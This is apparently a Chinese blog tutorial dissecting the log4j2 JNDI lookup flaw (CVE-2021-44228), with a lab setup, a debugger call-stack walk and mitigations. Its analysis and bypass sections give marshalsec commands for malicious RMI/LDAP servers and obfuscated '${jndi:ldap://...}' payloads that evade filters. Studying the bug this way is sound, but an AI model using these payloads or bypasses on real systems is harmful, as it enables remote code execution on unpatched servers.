Log4j2(CVE-2021-44228)
前言
没学 java 就知道这个漏洞,应该还有不少的解析和绕过,这里就简单先了解下最基础的
简介
log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
其被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(看到这个就知道要打 jndi )。例如当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy}
,此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。究其根本,还是最后调用触发了 jndi
影响版本
2.0 <= Apache log4j2 <= 2.14.1
环境搭建
pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
|
再写个xml文件来实现log4j2(yaml等文件也行),默认文件名为log4j2.xml,放在 src/main/resources
目录下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?xml version="1.0" encoding="UTF-8"?>
<!-- log4j2 配置文件 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal --><configuration status="info">
<!-- 自定义属性 -->
<Properties>
<!-- 日志格式(控制台) -->
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<!-- 日志格式(文件) -->
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<!-- 日志文件路径 -->
<Property name="filePath">logs/myLog.log</Property>
</Properties> <appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile> </appenders> <loggers> <root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root> </loggers></configuration>
|
最后写个demo来触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
package com.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class test {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "admin123";
if (username != null ) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}
|
可以看到是将登录信息记录到了 myLog.log 中

上面说过了 log4j2 会把 ${}
包裹的进行特殊处理,最后会触发 lookup,以下是一些常见的 lookup 类型
- ${date}:获取当前日期和时间,支持自定义格式。
- ${pid}:获取当前进程的 ID。
- ${logLevel}:获取当前日志记录的级别。
- ${sys:propertyName}:获取系统属性的值,例如 ${sys:user.home} 获取用户主目录。
- ${env:variableName}:获取环境变量的值,例如 ${env:JAVA_HOME} 获取 Java 安装路径。
- ${ctx:key}:获取日志线程上下文(ThreadContext)中指定键的值。
- ${class:fullyQualifiedName:methodName}:获取指定类的静态方法的返回值。
- ${mdc:key}:获取 MDC (Mapped Diagnostic Context) 中指定键的值。
比如 ${date}

漏洞分析
先打下,用marshalsec起个恶意的rmi服务
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:9999/#exp" 9991
|

ldap 也是这样
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9999/#exp" 1099
|

打个断点调试,来到 org.apache.logging.log4j.core.layout.PatternLayout
下的 toSerializable
方法
这个类中有两个 toSerializable
方法,由于我们在 log4j2.xml 中是使用 <PatternLayout pattern="${pattern1}"/>
这种静态的配置方式,所以最后会调用到第二个 toSerializable
方法中的 this.formatters.length
来获取 ,这个类的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
int len = this.formatters.length;
for(int i = 0; i < len; ++i) {
this.formatters[i].format(event, buffer);
}
if (this.replace != null) {
String str = buffer.toString();
str = this.replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
|
这个类就是将日志内容按 log4j2.xml 文件中规定好的格式那样输出,我们这里的格式为 [%-5p] %d %c - %m%n
所以第七次循环就会处理 %m
也就是我们的日志消息,会调用到 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

这里的 this.config
就是我们实现log4j2的文件类型,这里是xml,this.noLookups
为 false 则代表启用 ${}
变量替换,这里我们没有在xml中显式规定禁用,所以默认是启用的,而且我们这里本来就需要用到变量替换
然后进入到 if 语句里面,如果检测到 ${
开头,则取出从 offset
到当前 workingBuilder
末尾的内容,故这里 value 的值就为当时输入的值

然后调用 replace()
,又调用 substitute()
,最后会调用到 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable
,这里的调用栈
1
2
3
4
5
|
resolveVariable:1106, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
|
其源码
1
2
3
4
|
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
|
resolver
解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]
,而我们这里利用的jndi:xxx
后续就会用到JndiLookup
这个解析器,调用栈
1
2
3
|
lookup:55, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
|
最后调用到log4j2原生的 lookup()
方法

绕过其防御
先是绕过
递归解析绕过:log4j2 支持表达式递归解析,下面的表达式会逐层解析,由于 :-
是键值对的分隔符,而表达式只管取值,从而使得 {::-j}
-> j
,类似的可以混淆其他字符。
1
2
|
loggr.info("${${::-j}ndi:ldap://127.0.0.1:1099/exp}");
logger.info("${${,:-j}ndi:ldap://127.0.0.1:1099/exp}")
|
lowwer / upper 绕过:使用 log4j2 支持的关键字,实现大小写绕过
1
|
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1099/exp}");
|
防御
先是最简单的,更新到最新版本或者安全版本,比如 2.15.0-rc2 安全版本,并确认不开启 JNDI Lookup ,还有些临时应急操作,比如 jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数(使得noLookup为true,不会进入到lookup中)
总结
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2034, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1899, AbstractLogger (org.apache.logging.log4j.spi)
info:1444, AbstractLogger (org.apache.logging.log4j.spi)
main:16, test (com.example)
|
sink 点是 lo4j2 包下的 JndiManager#lookup
简单分析下后觉得确实无敌,这么刁钻的角度都能找到,这个漏洞的原理和利用都不难,但从source 分析调用到最后的sink点,真的很强,不愧是阿里,听说是codeql找到的,也不知道是不是真的,但用codeql应该轻松不少
还有更多的绕过和修复,以及更深的利用分析,可以见su18师傅的文章:https://tttang.com/archive/1378/#toc_rc1
参考
https://gaorenyusi.github.io/posts/log4j2/
https://jaspersec.top/posts/1237655284.html
https://tttang.com/archive/1378/